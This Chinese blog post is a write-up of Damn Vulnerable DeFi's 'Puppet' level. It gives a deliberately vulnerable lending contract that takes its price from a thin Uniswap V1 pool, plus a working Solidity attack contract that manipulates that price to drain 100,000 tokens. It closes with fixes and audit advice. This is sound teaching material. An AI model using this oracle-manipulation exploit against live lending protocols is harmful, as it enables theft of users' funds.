区块链 区块链技术 比特币公众号手机端

DVDF第8关:Puppt(预言机价格操纵)解析总结

liumuhui 4小时前 阅读数 1 #区块链

闯关先知

AMM 兑换公式

Uniswap 标准 AMM 兑换公式

$\Delta y $:你想换出来(获得)的代币数量(Out)。 $ \Delta x $:你卖出(输入)的代币数量(In)。 $ y $:池子里目标代币(你想换出来的那个代币)的当前储备量。 $ x $:池子里支付代币(你卖出的那个代币)的当前储备量。 常数: 以 Uniswap 标准的0.3% 手续费为例,系数为9971000(扣除0.3%的手续费,实际真正参与价格计算和储备价格变化的代币只有99.7%,因为EVM计算时小数部分会被截断,Uniswap没有直接用0.997,而是将分子分母同时放大1000倍,以确保计算精度)。

官方标准公式

$ \Delta y = \frac{y \cdot \Delta x \cdot 997}{x \cdot 1000 + \Delta x \cdot 997} $

计算实例

假设用 ETH 买 USDC ,现在池子状态为: USDC 储备 ($ y $) = 10,000 个 ETH 储备 ($ x $) = 100 个 卖出的 ETH ($ \Delta x $) = 10 个

带入通用公式计算:

$ \Delta y = \frac{10000 \times 10 \times 997}{100 \times 1000 + 10 \times 997} = \frac{99,700,000}{100,000 + 9,970} = \frac{99,700,000}{109,970} \approx \mathbf{906.61 \text{ USDC}} $

Puppet

通关要求

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity. 这里有一个借贷池,用户可以在其中借入“Damn Valuable Tokens”(Damn Valuable Tokens,简称DVTs)。为此,他们首先需要存入两倍于借入金额的以太币(ETH)作为抵押。该借贷池目前有100000个DVTs的流动性。 There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity. 在旧的Uniswap v1交易所中开设了一个DVT市场,目前有10个ETH和10个DVTs的流动性。 Pass the challenge by saving all tokens from the lending pool, then depositing them into the designated recovery account. You start with 25 ETH and 1000 DVTs in balance. 通过保存借贷池中的所有代币,然后将它们存入指定的recovery账户来通过挑战。你开始时的余额为25个ETH和1000个DVTs 总结:获取借代池中的所有代币,存入recovery账户。

合约代码

IUniswapV1Exchange.sol(部分截取): 模板合约,主要用于交易池内部的核心交易逻辑(如何计算价格、如何提供流动性等)

// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;

interface IUniswapV1Exchange {
    // 为交易池添加流动性
    function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline)
        external
        payable
        returns (uint256 out);
     // 根据传入的ETH(min_tokens)兑换token
    function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external returns (uint256 out);
    // 兑换指定数量的token
    function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256 out);
    // 根据传入的ETH兑换token并转账给recipient:min_tokens(最少兑换的token数量)
    function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient)
        external
        returns (uint256 out);
    // 兑换指定数量的token并转账给recipient:tokens_bought(要兑换多少代币)
    function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient)
        external
        returns (uint256 out);
    // 传入指定数量的eth,能兑换多少token
    function getEthToTokenInputPrice(uint256 eth_sold) external returns (uint256 out);
    // 兑换指定数量的token(tokens_bought)需要多少eth
    function getEthToTokenOutputPrice(uint256 tokens_bought) external returns (uint256 out);
    // 传入指定数量的token,能兑换多少eth
    function getTokenToEthInputPrice(uint256 tokens_sold) external returns (uint256 out);
    // 兑换指定数量的eth(eth_bought)需要多少token
    function getTokenToEthOutputPrice(uint256 eth_bought) external returns (uint256 out);
    // 根据token兑换eth:tokens_sold(要用多少token兑换eth),min_eth(最少兑换的eth数量)
    function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline)
        external
        returns (uint256 out);
    // 兑换指定数量的eth:eth_bought(要兑换的eth数量),max_tokens(兑换eth所消耗的最大token)
    function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline)
        external
        returns (uint256 out);
    // 根据token兑换eth并转账给recipient:tokens_sold(要用多少token兑换eth),min_eth(最少兑换的eth数量)
    function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient)
        external
        returns (uint256 out);
    // 兑换指定数量的eth并转账给recipient:eth_bought(要兑换的eth数量),max_tokens(兑换eth所消耗的最大token数量)
    function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient)
        external
        returns (uint256 out);
}

IUniswapV1Factory: 工厂合约,主要依靠模板合约的交易逻辑生成一个代币的专属兑换池

// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;

interface IUniswapV1Factory {
    event NewExchange(address indexed token, address indexed exchange);

    function createExchange(address token) external returns (address out);
    function exchangeTemplate() external view returns (address out);
    function getExchange(address token) external view returns (address out);
    function getToken(address exchange) external returns (address out);
    function getTokenWithId(uint256 token_id) external returns (address out);
    function initializeFactory(address template) external;
}

PuppetPool.sol: 借贷合约,以 ETH 作为抵押物,借贷 DVT 代币

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";

contract PuppetPool is ReentrancyGuard {
    using Address for address payable;

    uint256 public constant DEPOSIT_FACTOR = 2;

    address public immutable uniswapPair;
    DamnValuableToken public immutable token;

    mapping(address => uint256) public deposits;

    error NotEnoughCollateral();
    error TransferFailed();

    event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount);

    constructor(address tokenAddress, address uniswapPairAddress) {
        token = DamnValuableToken(tokenAddress);
        uniswapPair = uniswapPairAddress;
    }

    // Allows borrowing tokens by first depositing two times their value in ETH
    function borrow(uint256 amount, address recipient) external payable nonReentrant {
        uint256 depositRequired = calculateDepositRequired(amount);

        if (msg.value < depositRequired) {
            revert NotEnoughCollateral();
        }

        if (msg.value > depositRequired) {
            unchecked {
                payable(msg.sender).sendValue(msg.value - depositRequired);
            }
        }

        unchecked {
            deposits[msg.sender] += depositRequired;
        }

        // Fails if the pool doesn't have enough tokens in liquidity
        if (!token.transfer(recipient, amount)) {
            revert TransferFailed();
        }

        emit Borrowed(msg.sender, recipient, depositRequired, amount);
    }

    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    }

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }
}

完整合约代码

https://github.com/theredguild/damn-vulnerable-defi/tree/master/src/puppet

PoC代码

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {PuppetPool} from "../../src/puppet/PuppetPool.sol";
import {IUniswapV1Exchange} from "../../src/puppet/IUniswapV1Exchange.sol";
import {IUniswapV1Factory} from "../../src/puppet/IUniswapV1Factory.sol";

contract PuppetChallenge is Test {
    address deployer = makeAddr("deployer");
    address recovery = makeAddr("recovery");
    address player;
    uint256 playerPrivateKey;

    uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
    uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
    uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 1000e18;
    uint256 constant PLAYER_INITIAL_ETH_BALANCE = 25e18;
    uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;

    DamnValuableToken token;
    PuppetPool lendingPool;
    IUniswapV1Exchange uniswapV1Exchange;
    IUniswapV1Factory uniswapV1Factory;

    modifier checkSolvedByPlayer() {
        vm.startPrank(player, player);
        _;
        vm.stopPrank();
        _isSolved();
    }

    /**
     * SETS UP CHALLENGE - DO NOT TOUCH
     */
    function setUp() public {
        (player, playerPrivateKey) = makeAddrAndKey("player");

        startHoax(deployer);

        vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);

        // Deploy a exchange that will be used as the factory template
        IUniswapV1Exchange uniswapV1ExchangeTemplate =
            IUniswapV1Exchange(deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV1Exchange.json")));

        // Deploy factory, initializing it with the address of the template exchange
        uniswapV1Factory = IUniswapV1Factory(deployCode("builds/uniswap/UniswapV1Factory.json"));
        uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));

        // Deploy token to be traded in Uniswap V1
        token = new DamnValuableToken();

        // Create a new exchange for the token
        uniswapV1Exchange = IUniswapV1Exchange(uniswapV1Factory.createExchange(address(token)));

        // Deploy the lending pool
        lendingPool = new PuppetPool(address(token), address(uniswapV1Exchange));

        // Add initial token and ETH liquidity to the pool
        token.approve(address(uniswapV1Exchange), UNISWAP_INITIAL_TOKEN_RESERVE);
        uniswapV1Exchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(
            0, // min_liquidity
            UNISWAP_INITIAL_TOKEN_RESERVE,
            block.timestamp * 2 // deadline
        );

        token.transfer(player, PLAYER_INITIAL_TOKEN_BALANCE);
        token.transfer(address(lendingPool), POOL_INITIAL_TOKEN_BALANCE);

        vm.stopPrank();
    }

    /**
     * VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
     */
    function test_assertInitialState() public {
        
        assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
        assertEq(uniswapV1Exchange.factoryAddress(), address(uniswapV1Factory));
        assertEq(uniswapV1Exchange.tokenAddress(), address(token));
        assertEq(
            uniswapV1Exchange.getTokenToEthInputPrice(1e18),
            _calculateTokenToEthInputPrice(1e18, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE)
        );
        assertEq(lendingPool.calculateDepositRequired(1e18), 2e18);
        assertEq(lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE * 2);
    }

    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_puppet() public checkSolvedByPlayer {

        // 部署攻击合约
        Attack att = new Attack(token, lendingPool, uniswapV1Exchange);

        // 把所有 1000 DVT 转账给攻击合约,以便兑换大量ETH
        token.transfer(address(att), PLAYER_INITIAL_TOKEN_BALANCE);

        // 调用攻击函数并把 25 ETH 转账给攻击合约
        att.attack{value: PLAYER_INITIAL_ETH_BALANCE}(player, recovery);
       
    }

    // Utility function to calculate Uniswap prices
    function _calculateTokenToEthInputPrice(uint256 tokensSold, uint256 tokensInReserve, uint256 etherInReserve)
        private
        pure
        returns (uint256)
    {
        return (tokensSold * 997 * etherInReserve) / (tokensInReserve * 1000 + tokensSold * 997);
    }

    /**
     * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
     */
    function _isSolved() private view {
        // Player executed a single transaction
        assertEq(vm.getNonce(player), 1, "Player executed more than one tx");

        // All tokens of the lending pool were deposited into the recovery account
        assertEq(token.balanceOf(address(lendingPool)), 0, "Pool still has tokens");
        assertGe(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
    }
}

// 攻击合约
contract Attack {

    DamnValuableToken token;
    PuppetPool lendingPool;
    IUniswapV1Exchange uniswapV1Exchange;
    
    constructor(DamnValuableToken dvtToken, PuppetPool pool, IUniswapV1Exchange exchange) payable {
        token = dvtToken;
        lendingPool = pool;
        uniswapV1Exchange = exchange;
    }

    function attack(address player, address recovery) external payable {
        
        // 给 Uniswap 授 权 1000 DVT 并砸盘兑换 ETH
        token.approve(address(uniswapV1Exchange), 1000 ether);

        // 使用 1000 DVT 兑换 9.9 ETH,池子中剩余 0.1 ETH,导致 ETH 价格暴涨
        uniswapV1Exchange.tokenToEthSwapInput(1000 ether, 1 ether, block.timestamp * 2);

        // 抵押少量ETH就能获得 100000 DVT代币
        lendingPool.borrow{value: address(this).balance}(100000 ether, recovery);

        // 把剩余 ETH 还给 palyer
        payable(player).transfer(address(this).balance);

    }

    receive() external payable {}

}

部分PoC代码解析

// 部署 IUniswapV1 模板合约(读取Uniswap编译好的 JSON 文件,直接部署模板合约)
IUniswapV1Exchange uniswapV1ExchangeTemplate =
IUniswapV1Exchange(deployCode(string.concat(vm.projectRoot(), "/builds/uniswap/UniswapV1Exchange.json")));

// 部署 IUniswapV1 工厂合约(读取Uniswap编译好的 JSON 文件,直接部署工厂合约)
uniswapV1Factory = IUniswapV1Factory(deployCode("builds/uniswap/UniswapV1Factory.json"));
// 依靠模板合约的交易逻辑来初始化工厂合约
uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));

总结: 由于UniswapV1是用 Vyper 语言编写,测试代码中无法直接部署,所以使用作弊码deployCode,读取Uniswap编译好的 JSON 文件,直接部署模板合约和工厂合约,并对工厂合约进行初始化,模板合约主要用于交易池内部的核心交易逻辑(如何计算价格、如何提供流动性等),工厂合约主要依靠模板合约的交易逻辑来生成一个代币的专属兑换池。

关卡总结

漏洞原理

PuppetPool 借贷合约只采用 Uniswap 交易池作为价格源,由于 Uniswap 池中资金流动性极低(10 DVT 和 10 ETH),攻击者可以通过卖出大量 DVT 换取 ETH ,导致 Uniswap 交易池中的 DVT 价格贬值,ETH价格暴涨,使用少量的 ETH 抵押物就能套取交易池中全部 DVT。

问题代码

function _computeOraclePrice() private view returns (uint256) {
   // 错误:直接使用 Uniswap 池子的实时余额比例计算现价,价格会被操纵
   return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

问题溯源

  1. 单一数据源: PuppetPool 仅依赖单个 Uniswap 交易池计价,缺乏多数据源交叉验证。
  2. 使用实时现价(Spot Price): 直接通过池子实时余额比例(balance)计算价格,使得价格能够在单笔交易内被瞬间改变。
  3. 流动性极低(池子深度不足): 交易池中仅有 10 DVT 和 10 ETH,砸盘成本极低,攻击者仅用少量代币即可实现巨大的价格滑点。

触发条件

攻击者大量卖出 DVT 换取 ETH,Uniswap 交易池中 DVT 数量暴增,ETH 数量减少,导致 DVT 价格贬值,ETH价格暴涨,攻击者使用少量价格虚高的ETH作为抵押物,就能借出超抵押物实际价值的DVT代币。

攻击步骤

  1. 为满足getNonce(player) == 1断言,部署Attack攻击合约,token.transfer 把 player 账户的所有 1000 DVT 转账给攻击合约,调用攻击函数并把 player 账户的 25 ETH 转账给攻击合约。
  2. 攻击合约中调用 token.approve 给 UniswapV1 授权 1000 DVT ,随后调用 tokenToEthSwapInput 砸盘 1000 DVT 兑换 ETH。
  3. 砸盘前池中存有 10 ETH 和 10 DVT,砸盘后池中仅剩 ~0.1 ETH 和 1010 DVT,DVT 价格被急剧拉低,ETH价格急剧暴涨。
  4. 调用PuppetPool.borrow,原本借出 100,000 DVT 需要抵押 200,000 ETH,此时仅需 19.66 ETH 即可全部借出,并将借出代币转给recovery账户。
  5. 最后攻击合约把剩余的 ETH 还给 player 用户,攻击完成!。

修复方法

  1. 采用Chainlink(去中心化预言机网络): 通过多节点获取不同交易所的数据源,聚合数据源并去除极值,计算出平均值并上链,预言机通过链上获取最终价格源。
  2. 采用TWAP(时间加权平均价): 获取一段时间内的价格平均值,作为价格源,避免现价瞬时价格。

审计视角

  1. 借贷合约中未采用Chainlink和TWAP机制获取价格源,要注意是否存在预言机价格操纵。
  2. 绝对不能直接使用 AMM 的现价作为预言机价格源,因为现价极易通过闪电贷或大额 Swap 在单笔交易内被恶意操纵。
版权声明

本文仅代表作者观点,不代表区块链技术网立场。
本文系作者授权本站发表,未经许可,不得转载。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

热门